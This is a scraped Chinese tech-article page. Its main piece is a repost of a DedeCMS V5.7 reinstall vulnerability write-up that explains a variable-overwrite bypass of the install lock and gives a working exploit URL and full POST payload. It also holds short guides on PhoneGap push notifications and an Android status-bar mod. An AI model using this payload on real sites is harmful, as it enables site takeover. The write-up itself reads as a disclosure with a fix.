当前位置: 编程技术>移动开发
本页文章导读:
▪织梦重装破绽其实并不是那么好利用 织梦重装漏洞其实并不是那么好利用
这个重装漏洞的危害大家应该也知道,我就不多说了,估计又要一批站躺枪了,利用条件是webserver要求是存在apache解析漏洞和install文件夹存在。利用截图.........
▪ phonegap讯息推送 phonegap消息推送
这几天在摸索jquerymobile+phonegap的app开发方式如何进行消息推送,看了一下网上的消息推送,基本上都是围绕着原生开发进行的,用到的基本上有google的C2DM,轮询以及a.........
▪ 9300状态栏平添速度计0.00k / s 9300状态栏添加速度计0.00k / s
http://forum.xda-developers.com/showthread.php?t=2208396反编译SystemUI.apkSystemUI\res\layout\tw_status_bar.xml搜索 <com.android.systemui.statusbar.policy.Clock android:textSize="@dime.........
[1]织梦重装破绽其实并不是那么好利用
来源: 互联网 发布时间: 2014-02-18
织梦重装漏洞其实并不是那么好利用
这个重装漏洞的危害大家应该也知道,我就不多说了,估计又要一批站躺枪了,利用条件是webserver要求是存在apache解析漏洞和install文件夹存在。
利用截图:
\
Dedecms在安装后会把安装文件/install/index.php备份成/install/index.php.bak,这个在apache下面是会解析成PHP执行的。
看看/install/index.php.bak代码:
?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$verMsg= ' V5.7 GBKSP1';
$s_lang= 'gb2312';
$dfDbname= 'dedecmsv57gbksp1';
$errmsg= '';
$install_demo_name= 'dedev57demo.txt';
$insLockfile= dirname(__FILE__)。'/install_lock.txt';
$moduleCacheFile= dirname(__FILE__)。'/modules.tmp.inc';
define('DEDEINC',dirname(__FILE__)。'//include');
define('DEDEDATA',dirname(__FILE__)。'//data');
define('DEDEROOT',preg_replace("#[\\\\\/]install#", '', dirname(__FILE__)));
header("Content-Type: text/html; charset={$s_lang}");
require_once(DEDEROOT.'/install/install.inc.php');
require_once(DEDEINC.'/zip.class.php');
foreach(Array('_GET','_POST','_COOKIE') as$_request)
{
foreach($$_requestas$_k=> $_v) ${$_k} = RunMagicQuotes($_v);
}
require_once(DEDEINC.'/common.func.php');
if(file_exists($insLockfile))
{
exit(" 程序已运行安装,如果你确定要重新安装,请先从FTP中删除 install/install_lock.txt!");
}
if(empty($step))
{
$step= 1;
}
其中$insLockfile = dirname(__FILE__)。’/install_lock.txt’;是安装锁文件。在下面的
if(file_exists($insLockfile))
{
exit(" 程序已运行安装,如果你确定要重新安装,请先从FTP中删除 install/install_lock.txt!");
}
这个代码的意思是:如果$insLockfile这个文件存在,那么就提示已经安装了,如果$insLockfile不存在,那么就可以继续安装,那么我们要控制$insLockfile才能重新安装,
关键的问题在这两段代码中间还有一段dedecms一直很二逼的变量覆盖的代码。
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = RunMagicQuotes($_v);
}
这个是注册变量,如果存在变量就直接覆盖了。
所以我们直接在请求里加上insLockfile=seay就可以把$insLockfile变为seay,当然文件不存在的啦。就重装了。
利用演示:
直接POST数据到这个URL
http://www.cnseay.com/dedecms/install/index.php.bak?insLockfile=1&step=4
就OK了
\
POST数据:
step=4&dbhost=localhost&dbuser=root&dbpwd=123456&dbprefix=dede_&dbname=dedecms1&dblang=gbk&adminuser=admin&adminpwd=admin&cookieencode=JzIVw7439H&webname=%CE%D2%B5%C4%CD%F8%D5%BE&adminmail=admin%40dedecms.com&baseurl=http%3A%2F%2Flocalhost&cmspath=%2Fdedecms
其中的dbhost啥的东西自己改改吧,
提交数据包。效果如下
\
重装了……我是良民
批量EXP就不写了,要玩的自己搞吧,exp google搜索批量,估计dedecms的站要废一大半。
解决方式:
删除install/install.php.bak 或者 改名为install/install.bak
以上是从网络上摘录的,其实要利用这个漏洞并不是那么容易,这边就涉及到了两个地方需要我们自己去通过别的途径是获取,一个就是该网站的数据库帐号和密码,另一个就是该网站的数据库名,否则就算你重新安装了也是不可能覆盖掉以前的数据库的,只能说是重新在该服务器上面创建了一个数据库,其实要获取到网站的数据库帐号和密码还是具有一定的难度的。不知道说得对不对,不对的可以指出,一起讨论一起进步。
本文出自 “庄金辉的个人博客” 博客,请务必保留此出处http://putian.blog.51cto.com/1722818/1232280
这个重装漏洞的危害大家应该也知道,我就不多说了,估计又要一批站躺枪了,利用条件是webserver要求是存在apache解析漏洞和install文件夹存在。
利用截图:
\
Dedecms在安装后会把安装文件/install/index.php备份成/install/index.php.bak,这个在apache下面是会解析成PHP执行的。
看看/install/index.php.bak代码:
?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$verMsg= ' V5.7 GBKSP1';
$s_lang= 'gb2312';
$dfDbname= 'dedecmsv57gbksp1';
$errmsg= '';
$install_demo_name= 'dedev57demo.txt';
$insLockfile= dirname(__FILE__)。'/install_lock.txt';
$moduleCacheFile= dirname(__FILE__)。'/modules.tmp.inc';
define('DEDEINC',dirname(__FILE__)。'//include');
define('DEDEDATA',dirname(__FILE__)。'//data');
define('DEDEROOT',preg_replace("#[\\\\\/]install#", '', dirname(__FILE__)));
header("Content-Type: text/html; charset={$s_lang}");
require_once(DEDEROOT.'/install/install.inc.php');
require_once(DEDEINC.'/zip.class.php');
foreach(Array('_GET','_POST','_COOKIE') as$_request)
{
foreach($$_requestas$_k=> $_v) ${$_k} = RunMagicQuotes($_v);
}
require_once(DEDEINC.'/common.func.php');
if(file_exists($insLockfile))
{
exit(" 程序已运行安装,如果你确定要重新安装,请先从FTP中删除 install/install_lock.txt!");
}
if(empty($step))
{
$step= 1;
}
其中$insLockfile = dirname(__FILE__)。’/install_lock.txt’;是安装锁文件。在下面的
if(file_exists($insLockfile))
{
exit(" 程序已运行安装,如果你确定要重新安装,请先从FTP中删除 install/install_lock.txt!");
}
这个代码的意思是:如果$insLockfile这个文件存在,那么就提示已经安装了,如果$insLockfile不存在,那么就可以继续安装,那么我们要控制$insLockfile才能重新安装,
关键的问题在这两段代码中间还有一段dedecms一直很二逼的变量覆盖的代码。
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = RunMagicQuotes($_v);
}
这个是注册变量,如果存在变量就直接覆盖了。
所以我们直接在请求里加上insLockfile=seay就可以把$insLockfile变为seay,当然文件不存在的啦。就重装了。
利用演示:
直接POST数据到这个URL
http://www.cnseay.com/dedecms/install/index.php.bak?insLockfile=1&step=4
就OK了
\
POST数据:
step=4&dbhost=localhost&dbuser=root&dbpwd=123456&dbprefix=dede_&dbname=dedecms1&dblang=gbk&adminuser=admin&adminpwd=admin&cookieencode=JzIVw7439H&webname=%CE%D2%B5%C4%CD%F8%D5%BE&adminmail=admin%40dedecms.com&baseurl=http%3A%2F%2Flocalhost&cmspath=%2Fdedecms
其中的dbhost啥的东西自己改改吧,
提交数据包。效果如下
\
重装了……我是良民
批量EXP就不写了,要玩的自己搞吧,exp google搜索批量,估计dedecms的站要废一大半。
解决方式:
删除install/install.php.bak 或者 改名为install/install.bak
以上是从网络上摘录的,其实要利用这个漏洞并不是那么容易,这边就涉及到了两个地方需要我们自己去通过别的途径是获取,一个就是该网站的数据库帐号和密码,另一个就是该网站的数据库名,否则就算你重新安装了也是不可能覆盖掉以前的数据库的,只能说是重新在该服务器上面创建了一个数据库,其实要获取到网站的数据库帐号和密码还是具有一定的难度的。不知道说得对不对,不对的可以指出,一起讨论一起进步。
本文出自 “庄金辉的个人博客” 博客,请务必保留此出处http://putian.blog.51cto.com/1722818/1232280
[2] phonegap讯息推送
来源: 互联网 发布时间: 2014-02-18
phonegap消息推送
这几天在摸索jquerymobile+phonegap的app开发方式如何进行消息推送,看了一下网上的消息推送,基本上都是围绕着原生开发进行的,用到的基本上有google的C2DM,轮询以及androidpn。最后选择了极光推送,最主要的原因是搭建简单,以及服务免费。
下面主要围绕这几个方面进行说明,客户端方面:极光推送sdk的集成,以及phonegap集成,以及phonegap利用插件调用极光推送的api。服务器方面主要是在tomcat下给配置好的客户端发送通知。这里主要介绍的android,并且要摒弃dreamwaver的开发方式,改用eclipse开发环境,在这之前我一直用dw开发html app。
首先,极光推送sdk的集成主要参照如下地址的配置:在极光推送官网->文档->入门指南-第三方集成教程或代码里面有链接。
http://www.yelanxiaoyu.com/app/andriod/phonegap-push-%e6%b6%88%e6%81%af%e6%8e%a8%e9%80%81%e5%ae%9e%e7%8e%b0.html
在配置好后,需要参照官网地址:
http://docs.jpush.cn/pages/viewpage.action?pageId=557214
在客户端AndroidManifest.xml中加上
<intent-filter android:priority="1000"> <!--since 1.3.5 -->
<action android:name="cn.jpush.android.intent.NOTIFICATION_RECEIVED_PROXY" /> <!--since 1.3.5 -->
<category android:name="Your Package" /> <!--since 1.3.5 -->
</intent-filter> <!--since 1.3.5 -->
目前官网下载的sdk开发包是1.3.8的,所以以上配置代码需要加进去,另外包名要换成自己的包名。
第二,phonegap的集成。目前网上很多教程有集成phonegap到eclipse的,自己可以参照下列网址进行配置,http://www.phonegapcn.com/developers/get-started-13/get-started
第三,利用插件来调用极光推送的客户端API,目前用html5写的app,想调用java的api,只能利用插件,插件也推荐官网上的。地址在极光推送官网->文档->入门指南-第三方集成教程或代码里面有链接,进行下载。地址https://github.com/unfish/jpush-phonegap-plugin
将JPushUtil.js放到客户端工程,assets->www的根目录下面,将JPushUtilPlugin.java放到src的包下面,并且在res->xml->config.xml里面加上
将JPushUtil.js放到客户端工程,assets->www的根目录下面,将JPushUtilPlugin.java放到src的包下面,并且在res->xml->config.xml里面加上
<plugin name="JPushUtilPlugin" value="com.example.test.JPushUtilPlugin"/>。调用的时候直接在js文件里面window.plugins.JPushUtil.SetAlias(name,null,null);就可以了。其中name为给该客户端设置的别名。
第四,服务端的代码编写,主要参照http://blog.csdn.net/heynine/article/details/8140000,完整拷贝即可以发送成功,需要注意的是在PushMsgUtil.java里面pushMsg方法中username为你极光推送中注册的帐号名。appkeys为你在官网创建的应用的应用详情中即可找到receiver_type设置为3,即Alias。receiver_value为你在客户端文件中调用极光插件时给该用户设置的名字。并且在getVerificationCode()方法中,要和上面的对应上。同时你也可以用官网封装好的方法去写服务端。如果一切没有意外的话,在android上的通知推送即可成功。
[3] 9300状态栏平添速度计0.00k / s
来源: 互联网 发布时间: 2014-02-18
9300状态栏添加速度计0.00k / s
http://forum.xda-developers.com/showthread.php?t=2208396
反编译SystemUI.apk
SystemUI\res\layout\tw_status_bar.xml
搜索
<com.android.systemui.statusbar.policy.Clock
android:textSize="@dimen/status_bar_clock_text_size" android:textColor="#ff959595"
android:ellipsize="none" android:gravity="left|center" android:id="@id/clock"
android:paddingLeft="3.0dip" android:layout_width="wrap_content"
android:layout_height="fill_parent" android:singleLine="true"
android:includeFontPadding="false" />
往上一行另起一行添加
<com.android.systemui.statusbar.policy.Traffic
android:textAppearance="@*android:style/TextAppearance.StatusBar.Icon"
android:gravity="left|center" android:id="@id/traffic" android:layout_width="wrap_content"
android:layout_height="fill_parent" android:singleLine="true" />
往smali添加函数
直接解压覆盖
http://forum.xda-developers.com/showthread.php?t=2208396
反编译SystemUI.apk
SystemUI\res\layout\tw_status_bar.xml
搜索
<com.android.systemui.statusbar.policy.Clock
android:textSize="@dimen/status_bar_clock_text_size" android:textColor="#ff959595"
android:ellipsize="none" android:gravity="left|center" android:id="@id/clock"
android:paddingLeft="3.0dip" android:layout_width="wrap_content"
android:layout_height="fill_parent" android:singleLine="true"
android:includeFontPadding="false" />
往上一行另起一行添加
<com.android.systemui.statusbar.policy.Traffic
android:textAppearance="@*android:style/TextAppearance.StatusBar.Icon"
android:gravity="left|center" android:id="@id/traffic" android:layout_width="wrap_content"
android:layout_height="fill_parent" android:singleLine="true" />
往smali添加函数
直接解压覆盖
最新技术文章: